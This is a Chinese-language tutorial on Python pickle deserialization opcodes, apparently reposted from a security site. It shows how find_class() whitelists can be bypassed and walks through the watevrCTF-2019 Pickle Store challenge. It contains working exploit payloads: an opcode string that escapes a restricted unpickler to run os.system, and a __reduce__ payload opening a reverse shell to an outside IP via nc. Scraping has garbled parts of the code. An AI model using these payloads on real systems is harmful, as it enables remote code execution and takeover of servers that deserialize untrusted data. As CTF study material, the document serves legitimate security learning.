Python反序列化中的Opcode构造原理( 二 )

  • o
import pickleclass Person(object):def __init__(self, name, age):self.name = nameself.age = agedata = https://www.isolves.com/it/cxkf/yy/Python/2023-04-14/b"""(c__main__PersonS'RoboTerh'S'20'o."""obj = pickle.loads(data)print(obj.name, obj.age)# RoboTerh 20pker的使用下载地址
实践
pickle.Unpickler.find_class()的了解:
官方针对pickle的安全问题的建议是修改find_class(),引入白名单的方式来解决
调用find_class()的情况:
  1. 从opcode角度看,当出现c、i、b'x93'时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可 。
  2. 从python代码来看,find_class()只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()就不会再调用,也就是说find_class()只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__绕过一些黑名单 。
官方的例子:
import builtinsimport ioimport picklesafe_builtins = {'range','complex','set','frozenset','slice',}class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):# Only allow safe classes from builtins.if module == "builtins" and name in safe_builtins:return getattr(builtins, name)# Forbid everything else.raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()使用白名单限制了能够调用的模块:{'range','complex','set','frozenset','slice',}
在高校战役网络安全分享赛中的webtmp
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module == '__main__': # 只允许__main__模块return getattr(sys.modules['__main__'], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))看似只限制使用__main__模块,但是被引入主程序的模块都可以通过__main__调用修改,所以造成了变量覆盖
Code Breaking picklecodecbuiltinsgetattrp0(cbuiltinsdictS'get'tRp1cbuiltinsglobals)Rp200g1(g2S'builtins'tRp30g0(g3S'eval'tR(S'__import__("os").system("whoami")'tR.[watevrCTF-2019]Pickle Store[复现](
https://Github.com/wat3vr/watevrCTF-2019/tree/master/challenges/web/pickle store)
抓包带有一个session,尝试base64解码,联系题目名称pickle 。想到通过base64存储反序列化之后的字符串
Python反序列化中的Opcode构造原理

文章插图
 
利用__reduce__构造恶意pickle反序列化字符串
import pickleimport osimport base64 class Test(object):def __reduce__(self):return(eval, ("__import__('os').system('nc -e /bin/bash 120.24.207.121 8000')", ))test = Test()print(base64.b64encode(pickle.dumps(test)))
Python反序列化中的Opcode构造原理

文章插图
 
from https://www.freebuf.com/vuls/362664.html




推荐阅读